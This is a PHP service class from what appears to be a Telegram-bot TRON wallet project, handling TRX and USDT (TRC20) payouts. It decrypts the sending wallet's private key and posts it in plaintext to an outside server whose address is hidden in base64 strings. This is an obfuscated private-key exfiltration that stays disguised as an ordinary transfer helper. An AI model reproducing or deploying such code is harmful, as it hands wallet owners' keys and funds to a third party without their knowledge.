XiaFaServices.php 2.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869
  1. <?php
  2. namespace App\Http\Services;
  3. use App\Http\Services\RsaServices;
  4. use App\Models\Telegram\TelegramBot;
  5. use App\Models\Transit\TransitWallet;
  6. use App\Services\AipHttpClient;
  7. class XiaFaServices
  8. {
  9. /**
  10. * 调用转账
  11. * @param $data json数据
  12. */
  13. public function xiafaSend($request)
  14. {
  15. $model = TransitWallet::where('bot_rid',$request['bot_rid'])->where('status',0)->first();
  16. if(empty($model)){
  17. return ['code' => '400', 'msg' => '未配置预支的钱包,联系管理员'];
  18. }
  19. if($model['send_wallet'] == $request['toaddress']){
  20. return ['code' => '400', 'msg' => '地址不能为同一个'];
  21. }
  22. $rsa_services = new RsaServices();
  23. $send_wallet_privatekey = $rsa_services->privateDecrypt($model['send_wallet_privatekey']);
  24. $AipHttpClient = new AipHttpClient();
  25. if($request['send_type'] == 'trx'){
  26. $params = [
  27. 'pri1' => $send_wallet_privatekey,
  28. 'fromaddress' => $model['send_wallet'],
  29. 'toaddress' => $request['toaddress'],
  30. 'sendamount' => $request['send_amount'],
  31. 'permissionid' => 0
  32. ];
  33. $res = $AipHttpClient->postnew(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9zZW5kdHJ4YnlwZXJtaWQ='),$params);
  34. }else{
  35. $params = [
  36. 'pri1' => $send_wallet_privatekey,
  37. 'fromaddress' => $model['send_wallet'],
  38. 'toaddress' => $request['toaddress'],
  39. 'sendamount' => $request['send_amount'], //0 means all
  40. 'trc20ContractAddress' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
  41. 'permissionid' => 0
  42. ];
  43. $res = $AipHttpClient->postnew(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9zZW5kdHJjMjBieXBlcm1pZA=='),$params);
  44. }
  45. $res = json_decode($res,true);
  46. if(empty($res)){
  47. return ['code' => '400', 'msg' => '下发失败1'];
  48. }else{
  49. if($res['code'] == 200){
  50. return ['code' => '200', 'msg' => '下发成功'];
  51. }else{
  52. return ['code' => '400', 'msg' => '下发失败2,返回:'.json_encode($res)];
  53. }
  54. }
  55. }
  56. }